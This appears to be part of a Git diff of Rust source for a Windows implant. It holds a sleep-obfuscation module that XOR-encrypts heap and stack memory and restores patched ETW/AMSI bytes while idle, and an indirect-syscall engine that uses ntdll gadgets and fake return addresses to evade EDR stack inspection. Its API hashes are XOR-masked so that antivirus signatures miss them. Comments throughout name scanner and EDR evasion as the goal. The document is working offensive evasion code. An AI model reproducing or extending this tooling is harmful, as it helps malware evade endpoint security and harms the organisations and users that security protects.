static mut SLEEP_KEY: [u8; 32] = [0u8; 32];
|
||||
|
||||
/// Initialize the sleep-encryption key from per-build constants + runtime
|
||||
/// entropy (RDTSC + stack address + tick count).
|
||||
pub unsafe fn init_sleep_key() {
|
||||
let mut key = [0u8; 32];
|
||||
|
||||
// Build-time constants (unique per artifact).
|
||||
key[0] ^= gen::K_TOKEN;
|
||||
key[1] ^= gen::K_VENDOR;
|
||||
key[2] ^= gen::K_SMBIOS;
|
||||
key[3] ^= gen::K_ENV;
|
||||
key[4] ^= gen::K_DISPLAY;
|
||||
let seed_bytes = gen::GEN_SEED.to_le_bytes();
|
||||
for i in 0..4 {
|
||||
key[5 + i] ^= seed_bytes[i];
|
||||
}
|
||||
|
||||
// Runtime entropy.
|
||||
let mut tsc_lo: u32;
|
||||
let mut tsc_hi: u32;
|
||||
asm!("rdtsc", out("eax") tsc_lo, out("edx") tsc_hi, options(nostack, preserves_flags));
|
||||
|
||||
let sp: usize;
|
||||
asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags));
|
||||
|
||||
let tick = abi::GetTickCount64();
|
||||
|
||||
let entropy: [[u8; 8]; 5] = [
|
||||
(tsc_lo as u64).to_le_bytes(),
|
||||
(tsc_hi as u64).to_le_bytes(),
|
||||
(sp as u64).to_le_bytes(),
|
||||
tick.to_le_bytes(),
|
||||
((sp >> 16) as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15).to_le_bytes(),
|
||||
];
|
||||
|
||||
for (i, chunk) in entropy.iter().enumerate() {
|
||||
for (j, &b) in chunk.iter().enumerate() {
|
||||
key[(i * 6 + j) % 32] ^= b;
|
||||
}
|
||||
}
|
||||
|
||||
for i in 0..32 {
|
||||
ptr::write_volatile(&mut SLEEP_KEY[i] as *mut u8, key[i]);
|
||||
}
|
||||
}
|
||||
|
||||
/// Keystream byte derived from SLEEP_KEY + position + region base.
|
||||
#[inline(always)]
|
||||
unsafe fn keystream_byte(offset: usize, region_base: usize) -> u8 {
|
||||
let k0 = ptr::read_volatile(&SLEEP_KEY[0]) as u32;
|
||||
let k1 = ptr::read_volatile(&SLEEP_KEY[8]) as u32;
|
||||
let k2 = ptr::read_volatile(&SLEEP_KEY[16]) as u32;
|
||||
|
||||
let mut x = k0
|
||||
.wrapping_add((offset as u32).wrapping_mul(0x9E37_79B9))
|
||||
.wrapping_add((region_base as u32).wrapping_mul(0x7F4A_7C15))
|
||||
.wrapping_add(k1)
|
||||
.wrapping_add(k2);
|
||||
|
||||
x ^= x >> 13;
|
||||
x = x.wrapping_mul(0x5D58_85A9);
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(0x85EBCA6B);
|
||||
x ^= x << 7;
|
||||
x = x.wrapping_mul(0x9E37_79B9);
|
||||
|
||||
(x & 0xFF) as u8
|
||||
}
|
||||
|
||||
/// XOR-encrypt a region in place (symmetric with decrypt).
|
||||
unsafe fn transform_region(base: *mut u8, size: usize) {
|
||||
if base.is_null() || size == 0 {
|
||||
return;
|
||||
}
|
||||
for i in 0..size {
|
||||
let byte = ptr::read_volatile(base.add(i));
|
||||
ptr::write_volatile(base.add(i), byte ^ keystream_byte(i, base as usize));
|
||||
}
|
||||
}
|
||||
|
||||
/// Should this region be encrypted? Only committed RW data regions — never
|
||||
/// code (RX), guard pages, or mapped images.
|
||||
unsafe fn should_transform(info: &MemoryBasicInfo) -> bool {
|
||||
if info.state != MEM_COMMIT {
|
||||
return false;
|
||||
}
|
||||
info.protect & 0xFF == PAGE_READWRITE
|
||||
}
|
||||
|
||||
/// Change page protection via the runtime-resolved VirtualProtect.
|
||||
unsafe fn set_protect(addr: *mut c_void, size: usize, prot: u32) -> Option<u32> {
|
||||
let vp = crate::apires::virtual_protect();
|
||||
if vp == 0 {
|
||||
return None;
|
||||
}
|
||||
type VpFn = unsafe extern "system" fn(*mut c_void, usize, u32, *mut u32) -> i32;
|
||||
let f: VpFn = core::mem::transmute(vp);
|
||||
let mut old: u32 = 0;
|
||||
if f(addr, size, prot, &mut old) != 0 {
|
||||
Some(old)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Encrypt all private RW data regions (heap, .data, .bss).
|
||||
pub unsafe fn encrypt_memory() {
|
||||
if ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
|
||||
return;
|
||||
}
|
||||
init_sleep_key();
|
||||
|
||||
let mut info: MemoryBasicInfo = core::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
|
||||
while addr < usize::MAX - 0x10000 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
|
||||
transform_region(info.base_address as *mut u8, info.region_size);
|
||||
}
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
|
||||
ENCRYPTION_ACTIVE.store(true, Ordering::SeqCst);
|
||||
}
|
||||
|
||||
/// Decrypt all previously encrypted regions (XOR is symmetric; same pass).
|
||||
pub unsafe fn decrypt_memory() {
|
||||
if !ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut info: MemoryBasicInfo = core::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
|
||||
while addr < usize::MAX - 0x10000 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
|
||||
transform_region(info.base_address as *mut u8, info.region_size);
|
||||
}
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
|
||||
ENCRYPTION_ACTIVE.store(false, Ordering::SeqCst);
|
||||
}
|
||||
|
||||
/// Sleep with memory encryption + patch-evasion:
|
||||
/// encrypt → restore ETW/AMSI bytes → NtDelayExecution → re-patch → decrypt.
|
||||
pub unsafe fn secure_sleep(milliseconds: u32) {
|
||||
encrypt_memory();
|
||||
|
||||
// Restore original code bytes so memory scanners see a pristine ntdll/amsi
|
||||
// while we idle.
|
||||
patch::suspend_all();
|
||||
|
||||
// Negative LARGE_INTEGER = relative timeout, in 100ns units.
|
||||
let interval: i64 = -((milliseconds as i64) * 10_000);
|
||||
let _ = syscall::sys_nt_delay_execution(0, &interval as *const i64);
|
||||
|
||||
// Re-apply the defense patches.
|
||||
patch::resume_all();
|
||||
|
||||
decrypt_memory();
|
||||
}
|
||||
|
||||
/// Selective encryption for specific sensitive buffers.
|
||||
pub unsafe fn encrypt_sensitive(regions: &[(*mut u8, usize)]) {
|
||||
init_sleep_key();
|
||||
for &(base, size) in regions {
|
||||
transform_region(base, size);
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn decrypt_sensitive(regions: &[(*mut u8, usize)]) {
|
||||
for &(base, size) in regions {
|
||||
transform_region(base, size);
|
||||
}
|
||||
}
|
||||
|
||||
/// Stack hardening during sleep: encrypt a stack window below current SP so
|
||||
/// stack scanners / return-address walkers can't resolve call chains.
|
||||
pub unsafe fn spoof_stack() {
|
||||
let sp: usize;
|
||||
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
|
||||
let offset = gen::STACK_SPOOF_OFF as usize;
|
||||
let size = 4096usize;
|
||||
if sp > offset + size {
|
||||
init_sleep_key();
|
||||
transform_region((sp - offset - size) as *mut u8, size);
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn unspoof_stack() {
|
||||
let sp: usize;
|
||||
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
|
||||
let offset = gen::STACK_SPOOF_OFF as usize;
|
||||
let size = 4096usize;
|
||||
if sp > offset + size {
|
||||
transform_region((sp - offset - size) as *mut u8, size);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
//! Indirect syscall engine (v2) — ntdll-gadget execution.
|
||||
//!
|
||||
//! Executing `syscall` inside our own code section is exactly what EDR
|
||||
//! stack-inspection looks for: a syscall whose return address points outside
|
||||
//! ntdll. This engine instead:
|
||||
//!
|
||||
//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs
|
||||
//! (`4C 8B D1 B8 <nr> ... 0F 05 C3`) using verified-correct ror-hashes.
|
||||
//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8,
|
||||
//! its `ret` at +10 — the privileged instruction executes from ntdll's
|
||||
//! text section, never from ours.
|
||||
//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return
|
||||
//! address visible on the stack during the syscall points INTO ntdll;
|
||||
//! a second `ret` gadget there hands control back to our continuation.
|
||||
//! 4. Falls back to a direct in-place syscall only if every candidate stub
|
||||
//! is hooked (in which case we are already detected anyway).
|
||||
//!
|
||||
//! Per-build variance: which stub hosts the gadgets is selected by
|
||||
//! `gen::SYSCALL_TRAMP`.
|
||||
|
||||
#![allow(unused_assignments)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::antihook;
|
||||
use crate::gen;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive).
|
||||
// Verified against apires::hash_ascii / hash_wide.
|
||||
//
|
||||
// The constants are stored XORed with HASH_KEY so the raw ror-hash values
|
||||
// never appear in `.rodata` or as immediates (AV scans for known NT API-hash
|
||||
// tables). `r()` unmasks them at runtime.
|
||||
// ---------------------------------------------------------------------------
|
||||
/// XOR key applied to every stored API hash (fixed, so artifacts agree on the
|
||||
/// decoding); the *effective* hashes stay per-build through gen-mixed strings
|
||||
/// elsewhere.
|
||||
pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
/// Unmask a stored (scrambled) API hash.
|
||||
///
|
||||
/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the
|
||||
/// raw value at compile time — the recovery happens at runtime, so the real
|
||||
/// API-hash constant never appears in the binary.
|
||||
#[inline(always)]
|
||||
pub fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
|
||||
pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
|
||||
pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
|
||||
pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
|
||||
pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
|
||||
pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
||||
pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY;
|
||||
pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
|
||||
pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
|
||||
pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
|
||||
pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
|
||||
pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY;
|
||||
pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY;
|
||||
pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY;
|
||||
pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY;
|
||||
pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY;
|
||||
|
||||
/// Wide-name hash of "amsi.dll" (matches apires::hash_wide).
|
||||
pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY;
|
||||
|
||||
/// Syscall numbers resolved at runtime from ntdll stubs.
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct SyscallNumbers {
|
||||
pub nt_protect_virtual_memory: u16,
|
||||
pub nt_query_virtual_memory: u16,
|
||||
pub nt_allocate_virtual_memory: u16,
|
||||
pub nt_free_virtual_memory: u16,
|
||||
pub nt_create_thread_ex: u16,
|
||||
pub nt_query_information_process: u16,
|
||||
pub nt_set_information_process: u16,
|
||||
pub nt_query_system_information: u16,
|
||||
pub nt_read_virtual_memory: u16,
|
||||
pub nt_write_virtual_memory: u16,
|
||||
pub ldr_load_dll: u16,
|
||||
pub nt_delay_execution: u16,
|
||||
}
|
||||
|
||||
static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers {
|
||||
nt_protect_virtual_memory: 0,
|
||||
nt_query_virtual_memory: 0,
|
||||
nt_allocate_virtual_memory: 0,
|
||||
nt_free_virtual_memory: 0,
|
||||
nt_create_thread_ex: 0,
|
||||
nt_query_information_process: 0,
|
||||
nt_set_information_process: 0,
|
||||
nt_query_system_information: 0,
|
||||
nt_read_virtual_memory: 0,
|
||||
nt_write_virtual_memory: 0,
|
||||
ldr_load_dll: 0,
|
||||
nt_delay_execution: 0,
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Gadget discovery
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A clean ntdll stub yields two gadget addresses:
|
||||
/// syscall_gadget = stub + 8 (`0F 05`)
|
||||
/// ret_gadget = stub + 10 (`C3`)
|
||||
#[derive(Clone, Copy)]
|
||||
struct Gadgets {
|
||||
syscall_gadget: usize,
|
||||
ret_gadget: usize,
|
||||
}
|
||||
|
||||
static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 };
|
||||
|
||||
/// Extract the service number embedded in an ntdll stub.
|
||||
unsafe fn stub_syscall_number(addr: usize) -> Option<u16> {
|
||||
let mut buf = [0u8; 12];
|
||||
antihook::read_bytes_pub(addr, &mut buf);
|
||||
if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 {
|
||||
Some(u16::from_le_bytes([buf[4], buf[5]]))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation.
|
||||
fn stub_candidates() -> [u32; 5] {
|
||||
let base = [
|
||||
r(HASH_NTDELAY_EXECUTION),
|
||||
r(HASH_NTQUERY_SYSTEM_INFORMATION),
|
||||
r(HASH_NTWRITE_VIRTUAL_MEMORY),
|
||||
r(HASH_NTQUERY_INFORMATION_PROCESS),
|
||||
r(HASH_NTREAD_VIRTUAL_MEMORY),
|
||||
];
|
||||
let rot = (gen::SYSCALL_TRAMP as usize) % base.len();
|
||||
let mut out = [0u32; 5];
|
||||
for i in 0..base.len() {
|
||||
out[i] = base[(i + rot) % base.len()];
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Resolve syscall numbers + pick clean gadget-hosting stubs.
|
||||
pub unsafe fn init_syscall_numbers() {
|
||||
let ntdll = crate::apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
macro_rules! resolve_num {
|
||||
($hash:expr, $field:ident) => {
|
||||
if let Some(addr) = antihook::resolve_export(r($hash)) {
|
||||
if let Some(n) = stub_syscall_number(addr) {
|
||||
SYSCALL_NUMS.$field = n;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory);
|
||||
resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory);
|
||||
resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory);
|
||||
resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory);
|
||||
resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex);
|
||||
resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process);
|
||||
resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process);
|
||||
resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information);
|
||||
resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory);
|
||||
resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory);
|
||||
resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll);
|
||||
resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution);
|
||||
|
||||
// Pick a clean gadget host: unhooked AND byte-verified stub shape.
|
||||
for &hash in stub_candidates().iter() {
|
||||
if let Some(addr) = antihook::resolve_export(hash) {
|
||||
if addr != 0 && !antihook::is_address_hooked(addr) {
|
||||
let mut probe = [0u8; 12];
|
||||
antihook::read_bytes_pub(addr, &mut probe);
|
||||
// mov r10,rcx | mov eax,imm32 | syscall | ret
|
||||
if probe[0] == 0x4C
|
||||
&& probe[1] == 0x8B
|
||||
&& probe[2] == 0xD1
|
||||
&& probe[3] == 0xB8
|
||||
&& probe[8] == 0x0F
|
||||
&& probe[9] == 0x05
|
||||
&& probe[10] == 0xC3
|
||||
{
|
||||
GADGETS = Gadgets {
|
||||
syscall_gadget: addr + 8,
|
||||
ret_gadget: addr + 10,
|
||||
};
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers {
|
||||
if SYSCALL_NUMS.nt_protect_virtual_memory == 0
|
||||
&& SYSCALL_NUMS.nt_delay_execution == 0
|
||||
{
|
||||
init_syscall_numbers();
|
||||
}
|
||||
&SYSCALL_NUMS
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn gadgets() -> (usize, usize) {
|
||||
let g = core::ptr::addr_of!(GADGETS).read();
|
||||
(g.syscall_gadget, g.ret_gadget)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Indirect syscall wrappers - ntdll-gadget + fake-return layout.
|
||||
//
|
||||
// Register plan (ABI-safe, Windows x64):
|
||||
// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually
|
||||
// rdi : syscall gadget address (callee-saved => read-only use)
|
||||
// rsi : ret gadget address (callee-saved => read-only use)
|
||||
// r12 : syscall number (callee-saved => read-only use)
|
||||
// r13/r14 : optional args 5/6 (callee-saved => read-only use)
|
||||
// r11 : internal scratch (volatile, kernel-clobbered anyway)
|
||||
// eax : NTSTATUS out
|
||||
//
|
||||
// Rust forbids referencing explicit-register operands in asm templates, so
|
||||
// every value enters through a fixed callee-saved register hardcoded in the
|
||||
// template text. LLVM keeps those values alive until the block consumes them.
|
||||
//
|
||||
// Stack contract at `jmp rdi` (syscall gadget):
|
||||
// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address"
|
||||
// [rsp+8] = real continuation label
|
||||
// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there ->
|
||||
// that `ret` pops our continuation. Stack ends balanced.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// 4-arg indirect syscall.
|
||||
#[inline]
|
||||
pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 {
|
||||
let (sg, rg) = gadgets();
|
||||
if sg == 0 {
|
||||
let status: i32;
|
||||
asm!(
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"syscall",
|
||||
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
||||
in("r12") num,
|
||||
lateout("rax") status,
|
||||
options(nostack),
|
||||
);
|
||||
return status;
|
||||
}
|
||||
let status: i32;
|
||||
asm!(
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"lea rcx, [rip+2f]",
|
||||
"push rcx",
|
||||
"mov r11, rsi",
|
||||
"push r11",
|
||||
"jmp rdi",
|
||||
"2:",
|
||||
in("rcx") a1,
|
||||
in("rdx") a2,
|
||||
in("r8") a3,
|
||||
in("r9") a4,
|
||||
in("rdi") sg,
|
||||
in("rsi") rg,
|
||||
in("r12") num,
|
||||
lateout("rax") status,
|
||||
out("r11") _,
|
||||
);
|
||||
status
|
||||
}
|
||||
|
||||
/// 6-arg indirect syscall (args 5/6 via kernel stack slots).
|
||||
/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so
|
||||
/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time.
|
||||
#[inline]
|
||||
pub unsafe fn sys_indirect6(
|
||||
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize,
|
||||
) -> i32 {
|
||||
let (sg, rg) = gadgets();
|
||||
if sg == 0 {
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x30",
|
||||
"mov [rsp+0x28], r13",
|
||||
"mov [rsp+0x30], r14",
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"syscall",
|
||||
"add rsp, 0x30",
|
||||
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
||||
in("r12") num, in("r13") a5, in("r14") a6,
|
||||
lateout("rax") status,
|
||||
options(nostack),
|
||||
);
|
||||
return status;
|
||||
}
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x28",
|
||||
"mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push
|
||||
"mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"lea rcx, [rip+2f]",
|
||||
"push rcx",
|
||||
"mov r11, rsi",
|
||||
"push r11",
|
||||
"jmp rdi",
|
||||
"2:",
|
||||
"add rsp, 0x28",
|
||||
in("rcx") a1,
|
||||
in("rdx") a2,
|
||||
in("r8") a3,
|
||||
in("r9") a4,
|
||||
in("rdi") sg,
|
||||
in("rsi") rg,
|
||||
in("r12") num,
|
||||
in("r13") a5,
|
||||
in("r14") a6,
|
||||
lateout("rax") status,
|
||||
out("r11") _,
|
||||
);
|
||||
status
|
||||
}
|
||||
|
||||
/// 5-arg indirect syscall (arg 5 on kernel stack slot).
|
||||
/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at
|
||||
/// kernel-required [rsp+0x28] at syscall time.
|
||||
#[inline]
|
||||
pub unsafe fn sys_indirect5(
|
||||
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
|
||||
) -> i32 {
|
||||
let (sg, rg) = gadgets();
|
||||
if sg == 0 {
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x28",
|
||||
"mov [rsp+0x28], r13",
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"syscall",
|
||||
"add rsp, 0x28",
|
||||
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
||||
in("r12") num, in("r13") a5,
|
||||
lateout("rax") status,
|
||||
options(nostack),
|
||||
);
|
||||
return status;
|
||||
}
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x18",
|
||||
"mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"lea rcx, [rip+2f]",
|
||||
"push rcx",
|
||||
"mov r11, rsi",
|
||||
"push r11",
|
||||
"jmp rdi",
|
||||
"2:",
|
||||
"add rsp, 0x18",
|
||||
in("rcx") a1,
|
||||
in("rdx") a2,
|
||||
in("r8") a3,
|
||||
in("r9") a4,
|
||||
in("rdi") sg,
|
||||
in("rsi") rg,
|
||||
in("r12") num,
|
||||
in("r13") a5,
|
||||
lateout("rax") status,
|
||||
out("r11") _,
|
||||
);
|
||||
status
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Typed public wrappers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[inline]
|
||||
fn current_process() -> usize {
|
||||
usize::MAX // (HANDLE)-1 pseudo-handle
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_protect_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *mut *mut c_void,
|
||||
region_size: *mut usize,
|
||||
new_protect: u32,
|
||||
old_protect: *mut u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_protect_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect6(num, process_handle, base_address as usize, region_size as usize,
|
||||
new_protect as usize, 0, old_protect as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_allocate_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *mut *mut c_void,
|
||||
zero_bits: usize,
|
||||
region_size: *mut usize,
|
||||
allocation_type: u32,
|
||||
protect: u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_allocate_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect6(num, process_handle, base_address as usize, zero_bits,
|
||||
region_size as usize, allocation_type as usize, protect as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_free_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *mut *mut c_void,
|
||||
region_size: *mut usize,
|
||||
free_type: u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_free_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_query_information_process(
|
||||
process_handle: usize,
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: u32,
|
||||
return_len: *mut u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_query_information_process as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect5(num, process_handle, info_class as usize, info as usize,
|
||||
info_len as usize, return_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_set_information_process(
|
||||
process_handle: usize,
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_set_information_process as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_query_system_information(
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: usize,
|
||||
return_len: *mut usize,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_query_system_information as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_query_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *const c_void,
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: usize,
|
||||
return_len: *mut usize,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_query_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect6(num, process_handle, base_address as usize, info_class as usize,
|
||||
info as usize, info_len, return_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 {
|
||||
let num = get_syscall_numbers().nt_delay_execution as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, alertable as usize, interval as usize, 0, 0)
|
||||
}
|
||||
|
||||
/// Current-process pseudo-handle helper for external users.
|
||||
pub fn cur_process() -> usize {
|
||||
current_process()
|
||||
}
|
||||
Reference in New Issue
Block a user